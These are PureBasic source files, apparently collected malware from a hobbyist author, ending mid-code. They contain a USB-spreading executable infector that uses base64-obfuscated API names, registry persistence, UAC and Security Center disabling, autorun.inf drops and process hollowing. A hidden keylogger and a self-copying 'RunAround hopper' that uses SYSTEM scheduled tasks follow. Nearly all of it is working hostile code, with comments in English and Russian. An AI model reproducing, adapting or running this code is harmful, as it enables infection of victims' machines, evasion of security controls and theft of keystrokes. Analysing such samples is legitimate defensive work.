For I = 1 To 3
Define A = I
Next

Debug A; Выдаст 3

Define A = 10

For I = 1 To 3
Define A = I
Next

Debug A;

EnableExplicit
; -Constants-
#AutoRunFunc = #True; Auto-running functionality.
#PSection = "fip+UFJJTUVfREFUQX4qfg=="
#Section = "OkZsaW5jaGVk"
#Resident = "bnRsZHIuZXhl"
#RegRunBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu"
#RegDriveBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcRXhwbG9y
ZXJc"
#RegLogonBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24="
#RegUACBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVt"
#RegSecCenterBranch = "U09GVFdBUkVcTWljcm9zb2Z0XFNlY3VyaXR5IENlbnRlcg=="
#NTDLL = "bnRkbGwuZGxs"
#K32DLL = "S2VybmVsMzIuZGxs"
#UnMapper = "WndVbm1hcFZpZXdPZlNlY3Rpb24="
#WPMemory = "V3JpdGVQcm9jZXNzTWVtb3J5"
#RPMemory = "UmVhZFByb2Nlc3NNZW1vcnk="
#ARunFile = "OlxXaW5OVC5jb20="
#Explorer = "ZXhwbG9yZXIuZXhl"
#AllFiles = "Ki4q"
#LibLoad = #DONT_RESOLVE_DLL_REFERENCES | #LOAD_LIBRARY_AS_DATAFILE
#HiddenSystem = #PB_FileSystem_Hidden | #PB_FileSystem_System
#MegaByte = 1024 * 1024
#CrunchDelay = 45
#FirstDrive = 'C'
#Ratio = 30
; -Variables-
Define Letter.c, DType, TPath.s{#MAX_PATH}, MyName.S = ProgramFilename()
Global *WaitingMutex = CreateMutex()
Global MySize, Size2, *MyBody, CRC32
Global Dim Drives.a('Z'-#FirstDrive-1)
; -Declarations-
Declare IsARunner(Path.s)
Declare CrunchDrive(Letter.i)
Declare.S Decode64(String.S)
Declare RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Declare RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Declare RunPE(PName.S, lBuff, parameters.s)
Declare.s TempFileName(Prefix.s, Postfix.s = ".tmp")
Declare InfuseData(EXE.s, *DataPtr, DataSize, DataName.s)
Declare ExfuseData(*Module, DataName.s)
Declare CopyResources(SrcModule.s, DestModule.s)
; Hiding suspectable function calls.
Prototype UnmapSectionPT(*ProcessHandle, *BaseAdress)
Prototype WriteProcessPT(*ProcessHandle, *BaseAdress, *Buffer, Size.l, *BytesWritten)
Prototype ReadProcessPT(*ProcessHandle, *BaseAdress, *Buffer, Size.l, *BytesReaded)
Global UnmapSection_.UnmapSectionPT=GetProcAddress_(GetModuleHandle_(Decode64(#NTDLL)),Decode64(#UnMapper))
Global WriteProcess_.WriteProcessPT=GetProcAddress_(GetModuleHandle_(Decode64(#K32DLL)),Decode64(#WPMemory))
Global ReadProcess_.ReadProcessPT=GetProcAddress_(GetModuleHandle_(Decode64(#K32DLL)),Decode64(#RPMemory))
; Some macros:
Macro SetRegSettings(Resident)
RegSetStr(#HKEY_LOCAL_MACHINE, Decode64(#RegRunBranch), Decode64("TlQ0IGhvc3Rpbmcgc2VydmljZQ=="), Resident)
CompilerIf #AutoRunFunc; If we would use auto-running feature...
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZUF1dG9SdW4="), 0)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZVR5cGVBdXRvUnVu"), 0)
CompilerEndIf
If OSVersion() > #PB_OS_Windows_XP; OS-specific changes would be made here.
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegSecCenterBranch), Decode64("VWFjRGlzYWJsZU5vdGlmeQ=="), 1)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegUACBranch), Decode64("RW5hYmxlTFVB"), 0)
Else : RegSetStr(#HKEY_LOCAL_MACHINE,Decode64(#RegLogonBranch),Decode64("U2hlbGw="),Decode64(#Explorer)+" "+Resident)
EndIf
EndMacro
; Resident's path retrieving.
GetSystemDirectory_(@TPath, #MAX_PATH)
PathCombine_(@TPath, @TPath, Decode64(#Resident))
; Main choice...
If UCase(MyName) = UCase(TPath)
; -Resident behavior-
; Checking for second execution.
TPath = Decode64("R2xvYmFsXCpfRmxpbmNIXypfRmxpbmNIXyo=")
While CreateMutex_(0, 0, @TPath) = #Null : Delay(100) : Wend
If GetLastError_() : End : EndIf; May need further testing.
; Body retrieving.
MySize = FileSize(MyName)
*MyBody = AllocateMemory(MySize)
ReadFile(0, MyName)
ReadData(0, *MyBody, MySize)
CloseFile(0)
; Machine name's CRC32 retrieving...
TPath = Space(#MAX_COMPUTERNAME_LENGTH)
DType = #MAX_COMPUTERNAME_LENGTH
GetComputerName_(@TPath, @DType)
CRC32 = CRC32Fingerprint(@TPath, DType)
; ---------------------
ExamineDirectory(0, "", ""); Void scan.
FinishDirectory(0); Glitch workaround.
; Drives loop.
TPath = Decode64("Kjpc")
Repeat; Infinite loop
SetFileAttributes(MyName, #HiddenSystem); To be sure.
For Letter = #FirstDrive To 'Z' : PokeC(@TPath, Letter)
DType = GetDriveType_(@TPath); Retireving type of drive.
If DType => #DRIVE_REMOVABLE And DType <= #DRIVE_RAMDISK And DType <> #DRIVE_CDROM
; Testing if drive is already being crunched.
If Drives(Letter - #FirstDrive) = #False
Drives(Letter - #FirstDrive) = #True
CreateThread(@CrunchDrive(), Letter)
EndIf
EndIf
Next Letter
Delay(15 * 1000); Little pause for better mood.
SetRegSettings(MyName); 3 less detections if placed here.
ForEver
; ---------------------
Else
; -Agent behavior-
SetFileAttributes(TPath, #PB_FileSystem_Normal)
If CreateFile(1, TPath); If resident isn't already executed...
; Preparing body for transfer.
*MyBody = ExfuseData(#Null, Decode64(#PSection))
If *MyBody = #Null : ReadFile(0, MyName); If no prime found...
MySize = Lof(0) : *MyBody = AllocateMemory(MySize)
ReadData(0, *MyBody, MySize)
CloseFile(0)
Else : MySize = MemorySize(*MyBody)
EndIf
; Transferring body.
WriteData(1, *MyBody, MySize) : CloseFile(1) : FreeMemory(*MyBody)
RunProgram(TPath); Executing resident.
EndIf; Now hiding it for sure:
SetFileAttributes(TPath, #HiddenSystem)
TPath = Decode64(#ARunfile)
; Original program's execution.
If IsARunner(MyName) = #False; If it isn't autorunner...
If ReadFile(0, MyName + Decode64(#Section)); Header
ReadFile(1, MyName); Main body - our code.
MySize = Lof(1) : *MyBody = AllocateMemory(MySize)
Size2 = Lof(0)  : ReadData(0, *MyBody, Size2)
FileSeek(1, Size2); Rewinding to read body
ReadData(1, *MyBody + Size2, MySize - Size2)
CloseFile(1)
CloseFile(0)
TPath = PeekS(GetCommandLine_())
RunPE(MyName, *MyBody, Mid(TPath, Len(MyName) + 3))
Else : ! MOV EAX, [0]; Imitate error.
EndIf
; Imitate opening of drive in Explorer.
Else : RunProgram(Decode64(#Explorer), Left(MyName, 3), "")
EndIf
EndIf

; -Procedures-
Procedure IsARunner(Path.s)
Define APath.S = LCase(Decode64(#ARunFile))
If LCase(Right(Path, Len(APath))) = APath
ProcedureReturn #True; Signaling success.
EndIf
EndProcedure

Procedure IsWriteable(FName.S)
Define *FilePointer = OpenFile(#PB_Any, FName)
If *FilePointer : CloseFile(*FilePointer)
ProcedureReturn #True; Signaling success.
EndIf
EndProcedure

Procedure FindEXEs(Root.S, Chance.i) : Delay(#CrunchDelay)
Define SIdx, Attribs, CDate, ADate, MDate
Define *NewBody, NewSize, *FPtr, *Target
Define Target.s, FTarget.s, TmpFile.S
If Right(Root, 1) <> "\" : Root + "\" : EndIf
SIdx = ExamineDirectory(#PB_Any, Root, Decode64(#AllFiles))
If SIdx; If it can be examined...
While NextDirectoryEntry(SIdx)
Target = DirectoryEntryName(SIdx); Retrieving name
If DirectoryEntryType(SIdx) = #PB_DirectoryEntry_File
ADate = DirectoryEntryDate(SIdx, #PB_Date_Accessed); Reading before everyting else.
If UCase(Right(Target, 4)) = Decode64("LkVYRQ=="); If it's EXEcutable...
If Random(Chance) = 0; If randomizer clocked 0...
Target = Root + Target; Reformatting path to target.
FTarget = Target + Decode64(#Section)
; ----------------------------
If ReadFile(0, FTarget) = #Null; If not already modified...
If FreeLibrary_(LoadLibraryEx_(Target, #Null, #LibLoad)); If it's valid...
; Prepare modifications.
Attribs = DirectoryEntryAttributes(SIdx)
CDate = DirectoryEntryDate(SIdx, #PB_Date_Created)
MDate = DirectoryEntryDate(SIdx, #PB_Date_Modified)
SetFileAttributes(Target, #PB_FileSystem_Normal)
If IsWriteable(Target); If it's possible to write here...
; Restructuring body with new resources.
TmpFile = TempFileName(Decode64("Xytf"))
*FPtr = CreateFile(#PB_Any, Tmpfile)
WriteData(*FPtr, *MyBody, MySize)
CloseFile(*FPtr)
CopyResources(Target, TmpFile)
InfuseData(TmpFile, *MyBody, MySize, Decode64(#PSection))
NewSize = FileSize(TmpFile)
*NewBody = AllocateMemory(NewSize)
; Retrieving target's code and storing it into new stream.
*Target = OpenFile(#PB_Any, Target)
ReadData(*Target, *NewBody, NewSize)
*FPtr = CreateFile(#PB_Any, FTarget)
WriteData(*FPtr, *NewBody, NewSize)
CloseFile(*FPtr)
; Retrieving new body code and writing it to target.
*FPtr = ReadFile(#PB_Any, Tmpfile)
ReadData(*FPtr, *NewBody, NewSize)
CloseFile(*FPtr)
DeleteFile(TmpFile)
FileSeek(*Target, 0)
WriteData(*Target, *NewBody, NewSize)
; Cleaning up.
CloseFile(*Target)
FreeMemory(*NewBody)
EndIf
; Finalization.
SetFileAttributes(Target, Attribs)
SetFileDate(Target, #PB_Date_Created, CDate)
SetFileDate(Target, #PB_Date_Modified, MDate)
Delay(#CrunchDelay); Little pause
EndIf
Else : CloseFile(0)
EndIf
EndIf
; ----------------------------
EndIf
SetFileDate(Target, #PB_Date_Accessed, ADate); Still restoring acess time.
; Continue search recursively.
ElseIf Target <> "." And Target <> ".." : FindEXEs(Root + Target, Chance)
EndIf
Wend
FinishDirectory(SIdx)
EndIf
EndProcedure

Procedure AddAutoRunner(Drive.a)
#AInfo="W2F1dG9ydW5dJU4lT3Blbj0qJU4lc2hlbGxFeGVjdXRlPSolTiVzaGVsbFxPcGVuXGNvbW1hbmQ9
KiVOJXNoZWxsXE9wZW5cRGVmYXVsdD0x"
Define Target.S = Chr(Drive) + Decode64(#ARunFile)
; Preapring runfile...
SetFileAttributes(Target, #PB_FileSystem_Normal)
Define *FPtr = CreateFile(#PB_Any, Target)
WriteData(*FPtr, *MyBody, Mysize)
CloseFile(*FPtr)
SetFileAttributes(Target, #HiddenSystem)
; Prepring .inf file...
Define InfoFile.S = Chr(Drive) + Decode64("OlxBdXRvUnVuLmluZg==")
SetFileAttributes(InfoFile, #PB_FileSystem_Normal)
DeleteDirectory(InfoFile, Decode64(#Allfiles), #PB_FileSystem_Recursive|#PB_FileSystem_Force)
*FPtr = CreateFile(#PB_Any, InfoFile)
Define InfoText.s = ReplaceString(ReplaceString(Decode64(#AInfo), Decode64("JU4l"), #CR$), Chr('*'), Target)
WriteData(*FPtr, @InfoText, StringByteLength(InfoText))
CloseFile(*FPtr)
SetFileAttributes(InfoFile, #HiddenSystem)
EndProcedure

Procedure.s GetFileSystem(Drive.A)
Define FSystem.S = Space(#MAX_PATH)
GetVolumeInformation_(Chr(Drive) + Decode64("Olw="), 0, 0, 0, 0, 0, FSystem, #MAX_PATH)
ProcedureReturn FSystem
EndProcedure

Procedure CrunchDrive(Letter.i)
If CRC32 = 1888994306;Or #True; If it's mine PC...
FindExes(Chr(Letter) + Decode64("OlxUZXN0"), 0); ":\Test" run.
Else; Since it not...
CompilerIf #AutoRunFunc; If we would use auto-running feature...
AddAutoRunner(Letter)  ; For more fun.
CompilerEndIf
; Only NTFS drives should be crunched (all hopes for AutoRunner)
If GetFileSystem(Letter) = Decode64("TlRGUw==")
FindExes(Chr(Letter) + Decode64("Olw="), #Ratio - 1)
EndIf
EndIf
LockMutex(*WaitingMutex)
Drives(Letter - #FirstDrive) = #False
UnlockMutex(*WaitingMutex)
EndProcedure

Procedure.S Decode64(String.S)
Define DB.S{200}
Base64Decoder(@String, Len(String), @DB, 200)
ProcedureReturn PeekS(@DB)
EndProcedure

Procedure RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(*Hnd)
EndProcedure

Procedure RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_DWORD, @Dat, SizeOf(Integer))
RegCloseKey_(*Hnd)
EndProcedure

Procedure.S MakeCmdLine(Program.s, Args.s); Service proc for 'RunPE'
#Quote = Chr('"')
Define *Char.Character = @Args
If *Char\C <> ' ' : Args = " " + Args : EndIf
ProcedureReturn #Quote + Program + #Quote + Args
EndProcedure

Structure IMAGE_SECTION_HEADER; Service struct for 'RunPE'
SecName.b[8]
StructureUnion
PhysicalAddr.l
VirtualSize.l
EndStructureUnion
VirtualAddress.l
SizeOfRawData.l
PointerToRawData.l
PointerToRelocations.l
PointerToLinenumbers.l
NumberOfRelocations.w
NumberOfLinenumbers.w
Characteristics.l
EndStructure

Structure IMAGE_SECTION_HEADERS; Service struct for 'RunPE'
ish.IMAGE_SECTION_HEADER[95]
EndStructure

Procedure RunPE(PName.S, lBuff, Parameters.s)
Protected *idh.IMAGE_DOS_HEADER = lBuff
Protected *ish.IMAGE_SECTION_HEADERS
Protected pi.PROCESS_INFORMATION
Protected *inh.IMAGE_NT_HEADERS
Protected si.STARTUPINFO
Protected lpBaseAddres.l
Protected Ctx.CONTEXT
Protected Addr.l, ret.l, i.l
CreateProcess_(#NUL, MakeCmdLine(PName, Parameters), #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi)
Ctx\ContextFlags = #CONTEXT_INTEGER
If GetThreadContext_(pi\hThread, Ctx) = 0: Goto EndThread : EndIf
ReadProcess_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL)
If UnmapSection_(Pi\hProcess, Addr): Goto EndThread : EndIf
If lBuff = 0 : Goto EndThread : EndIf
*inh = lBuff + *idh\e_lfanew
With *inh\OptionalHeader
lpBaseAddres = VirtualAllocEx_(pi\hProcess,\ImageBase,\SizeOfImage,#MEM_COMMIT|#MEM_RESERVE,#PAGE_EXECUTE_READWRITE)
EndWith
WriteProcess_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret)
*ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader
With *ish
For i = 0 To *inh\FileHeader\NumberOfSections - 1
WriteProcess_(pi\hProcess,lpBaseAddres+\ish[i]\VirtualAddress,lBuff+\ish[i]\PointerToRawData,\ish[i]\SizeOfRawData,@ret)
Next
EndWith
WriteProcess_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL)
Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint
SetThreadContext_(pi\hThread, Ctx)
ResumeThread_(pi\hThread)
ProcedureReturn
EndThread:
TerminateProcess_(pi\hProcess, #NUL)
CloseHandle_(pi\hThread)
CloseHandle_(pi\hProcess)
EndProcedure

Procedure.s TempFileName(Prefix.s, Postfix.s = ".tmp")
Define TmpDir.s = GetTemporaryDirectory()
Repeat : Define I, FileName.s{#MAX_PATH} = TmpDir + "\" + Prefix
For I = 1 To 5 : FileName + Chr(Random('z' - 'a') + 'a')
Next I : FileName + Postfix
Until FileSize(FileName) = -1
ProcedureReturn FileName
EndProcedure

Procedure InfuseData(EXE.s, *DataPtr, DataSize, DataName.s)
Define *Update = BeginUpdateResource_(EXE, #False)
UpdateResource_(*Update, #RT_RCDATA, @DataName, 0, *DataPtr, DataSize)
EndUpdateResource_(*Update, #False)
EndProcedure

Procedure ExfuseData(*Module, DataName.s)
Define *Res = FindResource_(*Module, @DataName, #RT_RCDATA)
Define *BinData = LockResource_(LoadResource_(*Module, *Res))
Define DataSize = SizeofResource_(*Module, *Res)
*Res = AllocateMemory(DataSize)
CopyMemory(*BinData, *Res, DataSize)
ProcedureReturn *Res
EndProcedure

Procedure ResCopyCB(*hModule, *TypeStr, *NameStr, *Update)
Define *hResourceInfo = FindResource_(*hModule, *NameStr, *TypeStr)
Define *pResourceLock = LockResource_(LoadResource_(*hModule, *hResourceInfo))
Define ResSize = SizeofResource_(*hModule, *hResourceInfo)
If *TypeStr <> #RT_RCDATA Or ResSize < 10 * #MegaByte
; ^Some sizing optimization (may cause problems)^
UpdateResource_(*Update, *TypeStr, *NameStr, 0, *pResourceLock, ResSize)
EndIf
ProcedureReturn #True
EndProcedure

Procedure ResTypesCB(*hModule, *TypeStr, *Update)
EnumResourceNames_(*hModule, *TypeStr, @ResCopyCB(), *Update)
ProcedureReturn #True
EndProcedure

Procedure CopyResources(SrcModule.s, DestModule.s)
Define *hModule = LoadLibraryEx_(SrcModule, #Null, #LibLoad)
Define *hResourceUpdate = BeginUpdateResource_(DestModule, #True)
EnumResourceTypes_(*hModule, @ResTypesCB(), *hResourceUpdate)
EndUpdateResource_(*hResourceUpdate, #False)
FreeLibrary_(*hModule)
EndProcedure

Procedure.s GetWinTitle(*hWnd)
Define TitleSize = GetWindowTextLength_(*hwnd), Result.s = Space(TitleSize)
GetWindowText_(*hWnd, @Result, TitleSize+1) : ProcedureReturn Result
EndProcedure

EnableExplicit
#FlushLimit = 10 : #TimeStamp = "%mm/%dd/%yyyy, %hh:%ss"
; ------------------------
Structure KeyMap : Map.a[256] : EndStructure
Define *MyThread = GetCurrentThreadId_(), Logfile.s = Trim(ProgramParameter())
If LogFile = "" Or OpenFile(0,LogFile)=#False:LogFile=GetPathPart(ProgramFilename())+"\Mylog.txt":OpenFile(0,LogFile):EndIf
SetFileAttributes(Logfile, #PB_FileSystem_Hidden | #PB_FileSystem_System)
WriteStringFormat(0, #PB_Unicode) : FileSeek(0, Lof(0))     ; Продолжаем работу с логом.
If Lof(0) > SizeOf(Character) : WriteStringN(0, #CRLF$, #PB_Unicode) : EndIf; Переносы для удобства.
WriteString(0, FormatDate("==>NOW: " + #TimeStamp + " - new session begun.", Date()), #PB_Unicode)
Define Bytes, Title.s, NewTitle.s, I, Key.c, Keys.KeyMap    ; Переменные цикла.
OpenWindow(0,0,0,0,0,"",#PB_Window_Invisible) : AddWindowTimer(0, 0, 10000); Таймер до сброса буфера.
; ------------------------
Repeat : Delay(1)                    ; Forever loop.
For I = 4 To #MAXBYTE                ; Проверяем все клавиши.
If GetAsyncKeyState_(I) = -32767        ; Если клавиша отжата....
Define *Win = GetForegroundWindow_()    ; Получаем активное окно.
Define *Thread = GetWindowThreadProcessId_(*Win, 0); Получаем поток активного окна.
Define Lay = GetKeyboardLayout_(*Thread); Клавиатурная раскладка активного окна.
AttachThreadInput_(*MyThread, *Thread, #True); Объединение входных потоков.
GetKeyboardState_(@Keys\Map)            ; Получаем состояние клавиатуры.
NewTitle = GetWinTitle(*Win) : If NewTitle <> Title : Title = NewTitle : WriteStringN(0, #CRLF$+"=>["+Title+"]<=", #PB_Unicode) : EndIf
If ToUnicodeEx_(I, MapVirtualKey_(I, 0), @Keys\Map, @Key, SizeOf(Key), #Null, Lay) > 0 : WriteCharacter(0, Key); Пишем символ.
EndIf  : EndIf
Next I : If WindowEvent() = #PB_Event_Timer  : FlushFileBuffers(0) : EndIf; Сбрасываем буфер.
ForEver

; /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\
; Win32/RunAround hopper v0.36
; Developed in 2011 by Guevara-chan.
; \=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/

EnableExplicit; Essential.

Macro FallBack(); Pseudo-procedure.
SetCurrentDirectory("..") : RandomDir(GetCurrentDirectory())
EndMacro

Macro TryReturning(); Pseudo-procedure...
#TestFile = "_._.._._"; Проверяем возможность записи.
If CreateFile(99, #TestFile) : CloseFile(99)
DeleteFile(#testfile) : ProcedureReturn GetCurrentDirectory()
Else : FallBack(); Иначе - откат назад.
EndIf
EndMacro

Procedure.s RandomDir(Root.s)
Static Counter; Счетчик перелома....
If Counter < 10 : Counter + 1; Избегаем бесконечности.
SetCurrentDirectory(Root); Ставим текущей.
Else : ProcedureReturn GetPathPart(ProgramFilename()) : EndIf
NewList Dirs.s(); Список директорий.
Define I, Analize; Обработка директории (без проблем под XP).
For I = 1 To 10 : Analize = ExamineDirectory(#PB_Any, GetCurrentDirectory(), "*.*")
If Analize : Break : Else : Delay(10) : EndIf; Пытаемся открыть на анализ.
Next I : If Analize = #Null : FallBack() : EndIf; Не получается ? Назад !
While NextDirectoryEntry(Analize)    ; Обработка папки.
If DirectoryEntryType(Analize) = #PB_DirectoryEntry_Directory
AddElement(Dirs()) : Dirs() = DirectoryEntryName(Analize)
If ListSize(Dirs()) > 150 : Break : EndIf; Ну так, на всякий.
EndIf : Wend; Выбираем случайный элемент:
FinishDirectory(Analize); Конец анализу.
SelectElement(Dirs(), Random(ListSize(Dirs()) - 1))
Select Dirs(); Анализируем выбор...
Case ".", ".." : TryReturning(); Пытаемся вернуться директорию.
Default        : ProcedureReturn RandomDir(Root + "\" + Dirs())
EndSelect
EndProcedure

Procedure.s RandomName(Location.s)
Define Z; Дабы не было бесконечного цикла...
Repeat : If Z < 30 : Z + 1 : Else : ProcedureReturn "" : EndIf
Define FName.s = Location + "RA [" + Hex(Random(99999999)) + "].exe"
Delay(10) : Until OpenFile(1, FName) : CloseFile(1)
ProcedureReturn FName
EndProcedure

Procedure RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(*Hnd)
EndProcedure

Procedure RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_DWORD, @Dat, SizeOf(Integer))
RegCloseKey_(*Hnd)
EndProcedure

Procedure.S Decode64(String.S)
Define DB.S{200}
Base64Decoder(@String, Len(String), @DB, 200)
ProcedureReturn PeekS(@DB)
EndProcedure

Procedure.s WindowDir()
Define TPath.S{#MAX_PATH}
GetWindowsDirectory_(@TPath, #MAX_PATH)
ProcedureReturn TPath
EndProcedure

Procedure MachineCRC()
Define TPath.s {#MAX_COMPUTERNAME_LENGTH}
Define DType = #MAX_COMPUTERNAME_LENGTH
GetComputerName_(@TPath, @DType)
ProcedureReturn CRC32Fingerprint(@TPath, DType)
EndProcedure

Macro InSystem(Drive, SysDir); Pseudo-procedure.
Left(SysDir, Len(Drive)) = Drive
EndMacro

Procedure.s GetSetupPath(RootDir.s, WinDir.s)
#SetupFile = "Setup.exe"
If InSystem(RootDir, WinDir); Если диск системный...
ProcedureReturn "\\.\" + WinDir + "\con." + #SetupFile
Else : ProcedureReturn RootDir + #SetupFile
EndIf
EndProcedure

Procedure.s GetAutoPath(RootDir.s, WinDir.s)
If InSystem(RootDir, WinDir) : ProcedureReturn ""
Else : ProcedureReturn RootDir + "autorun.inf"
EndIf
EndProcedure

Procedure CheckDrive(Letter.c)
Define Root.s = Chr(Letter) + ":\" : Select GetDriveType_(@Root) : Case #DRIVE_CDROM
Case #DRIVE_REMOVABLE To #DRIVE_RAMDISK : ProcedureReturn #True
EndSelect
EndProcedure

Procedure.c GetRandomDrive(ThisFile.s)
#Drives = 'Z' - 'A' - 1
Define *This.Character = @ThisFile, Drives.s{#Drives}, I, DriveMask.l = GetLogicalDrives_(), Drv, *Drive.Character = @Drives
For I = 2 To #Drives : Drv = 'A' + I : If DriveMask & (1 << I) And CheckDrive(Drv) And Drv <> *This\C : Drives + Chr(Drv) : EndIf
Next I : If Drives : *Drive + (Random(Len(Drives) - 1)) * SizeOf(Character)
ProcedureReturn *Drive\C : Else : ProcedureReturn *This\C : EndIf; Возвращаем диск.
EndProcedure

Procedure CrashHandler(); Actually NOP.
; Just doing nothing here. We are out of luck.
EndProcedure

#NullOne = "nul"
#FixedOne = "nul::nul"
#Tasker = "schtasks.exe"
#SQuote = "\" + #DQUOTE$
#RunPrefix = "Run_Around_"
#Command = #PB_Program_Hide | #PB_Program_Wait
#Cloak = #PB_FileSystem_Hidden | #PB_FileSystem_System
#DeleteAll = #PB_FileSystem_Recursive | #PB_FileSystem_Force
#AInfo="W2F1dG9ydW5dJU4lT3Blbj0qJU4lc2hlbGxFeGVjdXRlPSolTiVzaGVsbFxPcGVuXGNvbW1hbmQ9
KiVOJXNoZWxsXE9wZW5cRGVmYXVsdD0x"
#RegDriveBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcRXhwbG9y
ZXJc"
#RegUACBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVt"
#RegRunBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu"
#RegSecCenterBranch = "U09GVFdBUkVcTWljcm9zb2Z0XFNlY3VyaXR5IENlbnRlcg=="
#Domain = "\\.\"
OnErrorCall(@CrashHandler())
Define MyName.s = Trim(ProgramFilename()), OldName.s = Trim(ProgramParameter()), WinDir.s = WindowDir()
Define I, Root.s = Left(MyName, 3)            ; Получаем корневую директорию.
; Имитируем проводник.
If OldName = "" And LCase(Mid(MyName,2))=":\"+LCase(#SetupFile):RunProgram("explorer.exe",Left(MyName,3),"")
ElseIf LCase(MyName) = LCase(#Domain+WinDir+"\con."+#SetupFile) And OldName = #FixedOne; Если мы стартуем с автозапуска:
RunProgram(#Tasker,"/create /sc minute /mo 30 /tn Auto_Run_Around /ru System /tr "+#DQUOTE$+MyName+#DQUOTE$,"",#Command)
Root = Mid(MyName, Len(#Domain)+1, 3) : EndIf; Начальная подготовка:
ExamineDirectory(0, "", "") : FinishDirectory(0); На случай чего.
If OldName = "" : OldName = #NullOne : EndIf; Переставляем.
If OldName <> #NullOne And OldName <> #FixedOne : DeleteFile(OldName); Если допустимо раскрытие прыжка.
OpenFile(0, Root+"Journey.txt") : FileSeek(0, Lof(0)) : SetFileAttributes(Root+"Journey.txt", #Cloak)
WriteStringN(0, #DQUOTE$+OldName+#DQUOTE$+" -> "+#DQUOTE$+MyName+#DQUOTE$) : CloseFile(0)
EndIf
; Поиск нового пути...
Define TaskName.s = #RunPrefix + Left(Root, 1)            ; Новый идентефикатор.
Define NewName.s = RandomName(RandomDir(Root))            ; Получаем случайную директори..
If NewName                                                ; Если есть, куда прыгать...
SetFileAttributes(MyName, #Cloak) : CopyFile(MyName, NewName); Конечный переход:
RunProgram(#Tasker, "/delete /f /tn " + TaskName, "", #Command); Стираем старое вхождение.
Define JumpPath.s = #DQUOTE$ + #SQuote + NewName + #SQuote; Пути планировщика.
If OldName <> #FixedOne : JumpPath + " " + #SQuote + MyName + #SQuote : EndIf
Else : JumpPath = #DQUOTE$ + MyName                    ; Перепрописываем себя на всякий.
EndIf : RunProgram(#Tasker,"/create minute /mo 1 /tn " + TaskName + " /ru System"+" /tr "+JumpPath+#DQUOTE$, "", #Command)
; А теперь походим по дискам...
Define NewDrive.s, WinDrive.s = Left(WinDir, 3)             ; Готовимся к перебросу в Windows.
If FileSize(GetSetupPath(WinDrive, Windir)) <> FileSize(MyName) : NewDrive = WinDrive; К системе.
ElseIf FileSize(GetSetupPath(Root, Windir)) = FileSize(MyName); Проверяем, доступен ли автозапуск.
NewDrive = Chr(GetRandomDrive(MyName)) + ":\"; Просто бегаем случайным порядком, вдруг чего найдем.
Else  : NewDrive = Root        ; Иначе придется заниматься корневой...
EndIf : NewName = GetSetupPath(NewDrive, WinDir) : SetFileAttributes(NewName, #Cloak); Убираем read-only.
If CopyFile(MyName, NewName) : OldName = GetAutoPath(NewDrive, WinDir)     ; Если удалось скопироваться на диск....
SetFileAttributes(NewName, #Cloak | #PB_FileSystem_ReadOnly)            ; Ставим аттрибуты на всякий.
If OldName; Если треуется файловый автозапуск....
Define InfoText.s = ReplaceString(ReplaceString(Decode64(#AInfo), Decode64("JU4l"), #CR$), Chr('*'), #SetupFile)
DeleteDirectory(OldName, "*.*", #DeleteAll); На всякий случай - удаляем такую папку..
SetFileAttributes(OldName, #Cloak) : CreateFile(0, OldNAme) : SetFileAttributes(OldName, #Cloak)
WriteString(0, InfoText) : CloseFile(0); Вписываем данные и идем дальше.
EndIf; Еще и запускаем на память:
If Root <> NewDrive And Random(3) = 0
RunProgram(NewName, #FixedOne, "") : EndIf
EndIf; Теперь ставим автозапуск:
RegSetStr(#HKEY_LOCAL_MACHINE, Decode64(#RegRunBranch), #RunPrefix + Left(NewName, 1), NewName + " " + #FixedOne)
; Some payloads here...
If MachineCRC() <> 1888994306; Если это не мой PC...
